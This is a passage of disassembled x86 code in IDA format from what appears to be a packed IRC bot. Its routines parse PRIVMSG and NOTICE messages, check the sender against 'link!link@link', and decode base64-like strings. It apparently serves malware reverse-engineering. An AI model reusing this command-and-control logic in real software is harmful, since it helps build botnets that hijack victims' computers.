		mov	eax, [eax+10h]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		inc	eax
		push	eax
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	[ebp+var_5BC], eax
		push	[ebp+var_5BC]
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		call	sub_40F040
		pop	ecx
		pop	ecx
		mov	[ebp+var_5BC], eax
		push	[ebp+var_5BC]
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		call	sub_40EF41
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax+14h], 0
		jz	short loc_40E04E
		mov	eax, [ebp+arg_10]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		mov	ecx, [ebp+var_5BC]
		lea	eax, [eax+ecx+1]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_40E05F
; ---------------------------------------------------------------------------


loc_40E04E:				; CODE XREF: sub_40D871+7BBj
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		mov	ecx, [ebp+var_5BC]
		and	byte ptr [eax+ecx+1], 0


loc_40E05F:				; CODE XREF: sub_40D871+760j
					; sub_40D871+7DBj
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jz	loc_40E123
		lea	eax, [ebp+var_7C4]
		push	eax
		push	offset asc_41A07C ; "]["
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_7C0], eax
		and	[ebp+var_7C8], 0


loc_40E09A:				; CODE XREF: sub_40D871+8ADj
		cmp	[ebp+var_7C0], 0
		jnz	short loc_40E0A5
		jmp	short loc_40E123
; ---------------------------------------------------------------------------


loc_40E0A5:				; CODE XREF: sub_40D871+830j
					; sub_40D871+851j
		mov	eax, [ebp+var_7C0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jz	short loc_40E0B5
		jmp	short loc_40E0C4
; ---------------------------------------------------------------------------


loc_40E0B5:				; CODE XREF: sub_40D871+840j
		mov	eax, [ebp+var_7C0]
		inc	eax
		mov	[ebp+var_7C0], eax
		jmp	short loc_40E0A5
; ---------------------------------------------------------------------------


loc_40E0C4:				; CODE XREF: sub_40D871+842j
		push	[ebp+var_7C0]
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		push	offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s"
		push	200h
		lea	eax, [ebp+var_7BC]
		push	eax
		call	sub_416BAE
		add	esp, 14h
		lea	eax, [ebp+var_7BC]
		push	eax
		call	sub_40E618
		pop	ecx
		lea	eax, [ebp+var_7C4]
		push	eax
		push	offset asc_41A07C ; "]["
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_7C8], eax
		mov	eax, [ebp+var_7C8]
		mov	[ebp+var_7C0], eax
		jmp	loc_40E09A
; ---------------------------------------------------------------------------


loc_40E123:				; CODE XREF: sub_40D871+7FAj
					; sub_40D871+832j
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E128:				; CODE XREF: sub_40D871+731j
		cmp	[ebp+arg_0], 0
		jz	short loc_40E153
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40E153
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+0Ch], 0
		jz	short loc_40E153
		push	offset byte_41EF28
		push	[ebp+arg_4]
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E158


loc_40E153:				; CODE XREF: sub_40D871+8BBj
					; sub_40D871+8C4j ...
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E158:				; CODE XREF: sub_40D871+8E0j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_C]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_10]
		mov	[ecx+0Ch], eax
		push	offset aPrivmsg	; "PRIVMSG"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E1C0
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1
		jnz	short loc_40E1AB
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_90], eax
		mov	[ebp+var_84], 3
		jmp	short loc_40E1BE
; ---------------------------------------------------------------------------


loc_40E1AB:				; CODE XREF: sub_40D871+923j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		mov	[ebp+var_90], eax
		and	[ebp+var_84], 0


loc_40E1BE:				; CODE XREF: sub_40D871+938j
		jmp	short loc_40E216
; ---------------------------------------------------------------------------


loc_40E1C0:				; CODE XREF: sub_40D871+915j
		push	offset aNotice	; "NOTICE"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E211
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1
		jnz	short loc_40E1F9
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_90], eax
		mov	[ebp+var_84], 3
		jmp	short loc_40E20F
; ---------------------------------------------------------------------------


loc_40E1F9:				; CODE XREF: sub_40D871+971j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		mov	[ebp+var_90], eax
		mov	[ebp+var_84], 1


loc_40E20F:				; CODE XREF: sub_40D871+986j
		jmp	short loc_40E216
; ---------------------------------------------------------------------------


loc_40E211:				; CODE XREF: sub_40D871+963j
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E216:				; CODE XREF: sub_40D871:loc_40E1BEj
					; sub_40D871:loc_40E20Fj
		cmp	[ebp+var_84], 3
		jnz	loc_40E321
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_C]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_10]
		mov	[ecx+0Ch], eax
		and	[ebp+var_7CC], 0
		jmp	short loc_40E253
; ---------------------------------------------------------------------------


loc_40E246:				; CODE XREF: sub_40D871:loc_40E31Cj
		mov	eax, [ebp+var_7CC]
		inc	eax
		mov	[ebp+var_7CC], eax


loc_40E253:				; CODE XREF: sub_40D871+9D3j
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx+eax*4], 0
		jz	short loc_40E26B
		cmp	[ebp+var_7CC], 0Fh
		jnz	short loc_40E2B8


loc_40E26B:				; CODE XREF: sub_40D871+9EFj
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_10]
		push	dword ptr [ecx+eax*4]
		call	sub_416B40
		pop	ecx
		mov	[ebp+var_7D4], eax
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D4]
		movsx	eax, byte ptr [eax+ecx-1]
		cmp	eax, 1
		jnz	short loc_40E2B6
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D4]
		mov	byte ptr [eax+ecx-1], 1


loc_40E2B6:				; CODE XREF: sub_40D871+A2Cj
		jmp	short loc_40E321
; ---------------------------------------------------------------------------


loc_40E2B8:				; CODE XREF: sub_40D871+9F8j
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		push	dword ptr [ecx+eax*4]
		call	sub_416B40
		pop	ecx
		mov	[ebp+var_7D0], eax
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D0]
		movsx	eax, byte ptr [eax+ecx-1]
		cmp	eax, 1
		jnz	short loc_40E31C
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D0]
		and	byte ptr [eax+ecx-1], 0
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_10]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D0]
		and	byte ptr [eax+ecx-1], 0
		jmp	short loc_40E321
; ---------------------------------------------------------------------------


loc_40E31C:				; CODE XREF: sub_40D871+A79j
		jmp	loc_40E246
; ---------------------------------------------------------------------------


loc_40E321:				; CODE XREF: sub_40D871+9ACj
					; sub_40D871:loc_40E2B6j ...
		push	offset byte_41EF28
		push	[ebp+var_90]
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E340
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_90], eax


loc_40E340:				; CODE XREF: sub_40D871+AC4j
		push	7Ah
		push	0
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch
		mov	eax, [ebp+arg_10]
		mov	eax, [eax]
		mov	[ebp+var_88], eax
		and	[ebp+var_8C], 0
		mov	eax, [ebp+arg_10]
		push	dword ptr [eax]
		call	sub_416B40
		pop	ecx
		mov	[ebp+var_80], eax


loc_40E370:				; CODE XREF: sub_40D871:loc_40E3F2j
		cmp	[ebp+var_80], 3
		jnb	short loc_40E378
		jmp	short loc_40E3F7
; ---------------------------------------------------------------------------


loc_40E378:				; CODE XREF: sub_40D871+B03j
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-1]
		cmp	eax, 20h
		jnz	short loc_40E393
		mov	eax, [ebp+var_80]
		dec	eax
		mov	[ebp+var_80], eax
		jmp	short loc_40E3F2
; ---------------------------------------------------------------------------


loc_40E393:				; CODE XREF: sub_40D871+B17j
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-3]
		cmp	eax, 20h
		jnz	short loc_40E3F0
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-2]
		cmp	eax, 2Dh
		jnz	short loc_40E3F0
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-1]
		cmp	eax, 7Ah
		jg	short loc_40E3F0
		mov	[ebp+var_8C], 1
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-1]


loc_40E3E0:				; DATA XREF: .packed:off_419BA4o
		mov	[ebp+eax+var_7C], 1
		mov	eax, [ebp+var_80]
		sub	eax, 3
		mov	[ebp+var_80], eax
		jmp	short loc_40E3F2
; ---------------------------------------------------------------------------


loc_40E3F0:				; CODE XREF: sub_40D871+B32j
					; sub_40D871+B44j ...
		jmp	short loc_40E3F7
; ---------------------------------------------------------------------------


loc_40E3F2:				; CODE XREF: sub_40D871+B20j
					; sub_40D871+B7Dj
		jmp	loc_40E370
; ---------------------------------------------------------------------------


loc_40E3F7:				; CODE XREF: sub_40D871+B05j
					; sub_40D871:loc_40E3F0j
		cmp	[ebp+var_8C], 0
		jz	loc_40E4CC
		and	[ebp+var_7D8], 0
		jmp	short loc_40E41A
; ---------------------------------------------------------------------------


loc_40E40D:				; CODE XREF: sub_40D871:loc_40E4C7j
		mov	eax, [ebp+var_7D8]
		inc	eax
		mov	[ebp+var_7D8], eax


loc_40E41A:				; CODE XREF: sub_40D871+B9Aj
		cmp	[ebp+var_7D8], 10h
		jnb	loc_40E4CC
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_10]
		cmp	dword ptr [ecx+eax*4], 0
		jnz	short loc_40E43B
		jmp	loc_40E4CC
; ---------------------------------------------------------------------------


loc_40E43B:				; CODE XREF: sub_40D871+BC3j
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		mov	ecx, [ebp+var_7D8]
		mov	edx, [ebp+arg_10]
		cmp	[edx+ecx*4], eax
		jb	short loc_40E4C7
		cmp	[ebp+var_8C], 0
		jz	short loc_40E48F
		cmp	[ebp+var_7D8], 0
		jz	short loc_40E488
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_C]
		push	dword ptr [ecx+eax*4-4]
		call	sub_416B40
		pop	ecx
		mov	ecx, [ebp+var_7D8]
		mov	edx, [ebp+arg_10]
		mov	ecx, [edx+ecx*4-4]
		and	byte ptr [ecx+eax], 0


loc_40E488:				; CODE XREF: sub_40D871+BF1j
		and	[ebp+var_8C], 0


loc_40E48F:				; CODE XREF: sub_40D871+BE8j
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_10]
		mov	eax, [ecx+eax*4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_10]
		and	dword ptr [ecx+eax*4], 0
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_C]
		and	dword ptr [ecx+eax*4], 0


loc_40E4C7:				; CODE XREF: sub_40D871+BDFj
		jmp	loc_40E40D
; ---------------------------------------------------------------------------


loc_40E4CC:				; CODE XREF: sub_40D871+B8Dj
					; sub_40D871+BB0j ...
		push	offset byte_41EF28
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+8]
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E513
		mov	eax, [ebp+arg_10]
		add	eax, 0Ch
		push	eax
		mov	eax, [ebp+arg_C]
		add	eax, 0Ch
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	[ebp+var_84]
		push	[ebp+var_90]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40A9CF
		add	esp, 1Ch
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E513:				; CODE XREF: sub_40D871+C6Fj
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+10h], 0
		jnz	short loc_40E521
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E521:				; CODE XREF: sub_40D871+CA9j
		and	[ebp+var_7DC], 0
		push	offset asc_41A070 ; "*"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E54A
		mov	[ebp+var_7DC], 1
		jmp	loc_40E5DE
; ---------------------------------------------------------------------------


loc_40E54A:				; CODE XREF: sub_40D871+CCBj
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		push	offset byte_41EF28
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40E56C
		mov	[ebp+var_7DC], 1
		jmp	short loc_40E5DE
; ---------------------------------------------------------------------------


loc_40E56C:				; CODE XREF: sub_40D871+CF0j
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B40
		pop	ecx
		cmp	eax, 4
		ja	short loc_40E5DE
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B40
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx+0Ch]
		movsx	eax, byte ptr [ecx+eax-1]
		cmp	eax, 25h
		jnz	short loc_40E5DE
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B40
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx+0Ch]
		and	byte ptr [ecx+eax-1], 0
		call	sub_410422
		xor	edx, edx
		push	64h
		pop	ecx
		div	ecx
		inc	edx
		mov	[ebp+var_7E0], edx
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B9C
		pop	ecx
		cmp	eax, [ebp+var_7E0]
		jl	short loc_40E5DE
		mov	[ebp+var_7DC], 1


loc_40E5DE:				; CODE XREF: sub_40D871+CD4j
					; sub_40D871+CF9j ...
		movzx	eax, [ebp+var_7DC]
		test	eax, eax
		jz	short loc_40E615
		mov	eax, [ebp+arg_10]
		add	eax, 10h
		push	eax
		mov	eax, [ebp+arg_C]
		add	eax, 10h
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	[ebp+var_84]
		push	[ebp+var_90]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40A9CF
		add	esp, 1Ch


loc_40E615:				; CODE XREF: sub_40D871+31j
					; sub_40D871+4Cj ...
		pop	edi
		leave
		retn
sub_40D871	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E618	proc near		; CODE XREF: sub_40C93C+A8p
					; sub_40D871+87Fp ...

var_1194	= dword	ptr -1194h
var_1190	= dword	ptr -1190h
var_118C	= byte ptr -118Ch
var_1180	= dword	ptr -1180h
var_114C	= dword	ptr -114Ch
var_1148	= dword	ptr -1148h
var_1144	= dword	ptr -1144h
var_113C	= dword	ptr -113Ch
var_1138	= dword	ptr -1138h
var_1109	= byte ptr -1109h
var_1108	= byte ptr -1108h
var_1089	= byte ptr -1089h
var_1088	= byte ptr -1088h
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1194h
		call	sub_416BC0
		and	[ebp+var_4], 0
		push	10h
		lea	eax, [ebp+var_118C]
		push	eax
		lea	eax, [ebp+var_1148]
		push	eax
		lea	eax, [ebp+var_1088]
		push	eax
		push	[ebp+arg_0]
		call	sub_407928
		add	esp, 14h
		push	offset a302	; "302"
		push	[ebp+var_1144]
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E66D
		mov	dword_41EA8C, 1
		jmp	short loc_40E674
; ---------------------------------------------------------------------------


loc_40E66D:				; CODE XREF: sub_40E618+47j
		and	dword_41EA8C, 0


loc_40E674:				; CODE XREF: sub_40E618+53j
		cmp	[ebp+var_1148],	0
		jz	short loc_40E686
		cmp	[ebp+var_1144],	0
		jnz	short loc_40E68B


loc_40E686:				; CODE XREF: sub_40E618+63j
		jmp	locret_40E941
; ---------------------------------------------------------------------------


loc_40E68B:				; CODE XREF: sub_40E618+6Cj
		push	offset aPrivmsg	; "PRIVMSG"
		push	[ebp+var_1144]
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40E6BB
		push	offset aNotice	; "NOTICE"
		push	[ebp+var_1144]
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40E7A5


loc_40E6BB:				; CODE XREF: sub_40E618+87j
		cmp	[ebp+var_113C],	0
		jz	loc_40E7A5
		cmp	[ebp+var_1138],	0
		jnz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Ah
		jnz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 3Dh
		jnz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		movsx	eax, byte ptr [eax+2]
		test	eax, eax
		jz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		inc	eax
		inc	eax
		push	eax
		call	sub_40EC96
		pop	ecx
		test	eax, eax
		jz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		inc	eax
		push	eax
		mov	eax, [ebp+var_113C]
		inc	eax
		inc	eax
		push	eax
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	[ebp+var_1190],	eax
		push	[ebp+var_1190]
		mov	eax, [ebp+var_113C]
		inc	eax
		push	eax
		call	sub_40F040
		pop	ecx
		pop	ecx
		mov	[ebp+var_1190],	eax
		push	[ebp+var_1190]
		mov	eax, [ebp+var_113C]
		inc	eax
		push	eax
		call	sub_40EF41
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_113C]
		add	eax, [ebp+var_1190]
		and	byte ptr [eax+1], 0
		push	0Dh
		lea	eax, [ebp+var_1180]
		push	eax
		lea	eax, [ebp+var_113C]
		push	eax
		push	[ebp+var_1180]
		push	[ebp+var_113C]
		call	sub_407928
		add	esp, 14h


loc_40E7A5:				; CODE XREF: sub_40E618+9Dj
					; sub_40E618+AAj ...
		push	offset aLinkLink@link ;	"link!link@link"
		push	[ebp+var_1148]
		call	sub_416DDE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40E853
		and	[ebp+var_1194],	0
		jmp	short loc_40E7D5
; ---------------------------------------------------------------------------


loc_40E7C8:				; CODE XREF: sub_40E618+234j
		mov	eax, [ebp+var_1194]
		inc	eax
		mov	[ebp+var_1194],	eax


loc_40E7D5:				; CODE XREF: sub_40E618+1AEj
		mov	eax, [ebp+var_1194]
		cmp	off_41DB18[eax*4], 0
		jnz	short loc_40E7E7
		jmp	short loc_40E851
; ---------------------------------------------------------------------------


loc_40E7E7:				; CODE XREF: sub_40E618+1CBj
		mov	eax, [ebp+var_1194]
		push	off_41DB18[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_1194]
		push	off_41DB18[eax*4]
		mov	eax, [ebp+var_1148]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40E839
		mov	eax, [ebp+var_1194]
		push	off_41DB18[eax*4]
		call	sub_4105AD
		pop	ecx
		mov	[ebp+var_4], 1
		jmp	short loc_40E851
; ---------------------------------------------------------------------------


loc_40E839:				; CODE XREF: sub_40E618+203j
		mov	eax, [ebp+var_1194]
		push	off_41DB18[eax*4]
		call	sub_4105AD
		pop	ecx
		jmp	loc_40E7C8
; ---------------------------------------------------------------------------


loc_40E851:				; CODE XREF: sub_40E618+1CDj
					; sub_40E618+21Fj
		jmp	short loc_40E85A
; ---------------------------------------------------------------------------


loc_40E853:				; CODE XREF: sub_40E618+1A1j
		mov	[ebp+var_4], 1


loc_40E85A:				; CODE XREF: sub_40E618:loc_40E851j
		and	[ebp+var_88], 0
		mov	[ebp+var_114C],	1
		jmp	short loc_40E87A
; ---------------------------------------------------------------------------


loc_40E86D:				; CODE XREF: sub_40E618:loc_40E90Aj
		mov	eax, [ebp+var_114C]
		inc	eax
		mov	[ebp+var_114C],	eax


loc_40E87A:				; CODE XREF: sub_40E618+253j
		cmp	[ebp+var_114C],	80h
		jge	loc_40E90F
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		movsx	eax, byte ptr [eax]
		cmp	eax, 21h
		jnz	short loc_40E8B6
		mov	[ebp+var_88], 1
		mov	eax, [ebp+var_114C]
		and	byte ptr [ebp+eax+var_88+3], 0


loc_40E8B6:				; CODE XREF: sub_40E618+284j
		cmp	[ebp+var_88], 0
		jnz	short loc_40E8DA
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		mov	ecx, [ebp+var_114C]
		mov	al, [eax]
		mov	byte ptr [ebp+ecx+var_88+3], al


loc_40E8DA:				; CODE XREF: sub_40E618+2A5j
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		mov	ecx, [ebp+var_114C]
		mov	al, [eax]
		mov	[ebp+ecx+var_1109], al
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40E90A
		jmp	short loc_40E90F
; ---------------------------------------------------------------------------


loc_40E90A:				; CODE XREF: sub_40E618+2EEj
		jmp	loc_40E86D
; ---------------------------------------------------------------------------


loc_40E90F:				; CODE XREF: sub_40E618+26Cj
					; sub_40E618+2F0j
		and	[ebp+var_5], 0
		and	[ebp+var_1089],	0
		lea	eax, [ebp+var_118C]
		push	eax
		lea	eax, [ebp+var_1148]
		push	eax
		lea	eax, [ebp+var_1108]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		push	[ebp+var_4]
		call	sub_40D871
		add	esp, 14h

locret_40E941:				; CODE XREF: sub_40E618:loc_40E686j
		leave
		retn
sub_40E618	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E943	proc near		; CODE XREF: .packed:00416ABAp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_40E94E:				; CODE XREF: sub_40E943+32j
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40E960
		jmp	short locret_40E977
; ---------------------------------------------------------------------------


loc_40E960:				; CODE XREF: sub_40E943+19j
		push	[ebp+var_8]
		call	sub_407B5E
		pop	ecx
		mov	[ebp+var_4], eax
		push	[ebp+var_8]
		call	sub_40E618
		pop	ecx
		jmp	short loc_40E94E
; ---------------------------------------------------------------------------

locret_40E977:				; CODE XREF: sub_40E943+1Bj
		leave
		retn
sub_40E943	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E979	proc near		; CODE XREF: .packed:004168D5p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40E98A
; ---------------------------------------------------------------------------


loc_40E983:				; CODE XREF: sub_40E979+24j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40E98A:				; CODE XREF: sub_40E979+8j
		cmp	[ebp+var_4], 100h
		jnb	short loc_40E99F
		mov	eax, [ebp+var_4]
		and	byte_41EA90[eax], 0
		jmp	short loc_40E983
; ---------------------------------------------------------------------------


loc_40E99F:				; CODE XREF: sub_40E979+18j
		and	[ebp+var_4], 0
		jmp	short loc_40E9AC
; ---------------------------------------------------------------------------


loc_40E9A5:				; CODE XREF: sub_40E979+4Cj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40E9AC:				; CODE XREF: sub_40E979+2Aj
		cmp	[ebp+var_4], 40h
		jnb	short locret_40E9C7
		mov	eax, [ebp+var_4]
		movzx	eax, byte_41A18C[eax]
		mov	cl, byte ptr [ebp+var_4]
		mov	byte_41EA90[eax], cl
		jmp	short loc_40E9A5
; ---------------------------------------------------------------------------

locret_40E9C7:				; CODE XREF: sub_40E979+37j
		leave
		retn
sub_40E979	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E9C9	proc near		; CODE XREF: sub_40A9CF+34Cp
					; sub_40A9CF+E18p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B40
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 2
		jnb	short loc_40E9E8
		xor	eax, eax
		jmp	locret_40EB4C
; ---------------------------------------------------------------------------


loc_40E9E8:				; CODE XREF: sub_40E9C9+16j
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0


loc_40E9F0:				; CODE XREF: sub_40E9C9+17Aj
		push	1
		pop	eax
		test	eax, eax
		jz	loc_40EB48
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EA29
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41EA90[eax]
		shl	eax, 2
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx-1], al
		jmp	short loc_40EA2E
; ---------------------------------------------------------------------------


loc_40EA29:				; CODE XREF: sub_40E9C9+40j
		jmp	loc_40EB48
; ---------------------------------------------------------------------------


loc_40EA2E:				; CODE XREF: sub_40E9C9+5Ej
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EA66
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41EA90[eax]
		sar	eax, 4
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx-1]
		or	cl, al
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[eax-1], cl
		jmp	short loc_40EA6B
; ---------------------------------------------------------------------------


loc_40EA66:				; CODE XREF: sub_40E9C9+72j
		jmp	loc_40EB48
; ---------------------------------------------------------------------------


loc_40EA6B:				; CODE XREF: sub_40E9C9+9Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EA99
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41EA90[eax]
		shl	eax, 4
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx-1], al
		jmp	short loc_40EA9E
; ---------------------------------------------------------------------------


loc_40EA99:				; CODE XREF: sub_40E9C9+B0j
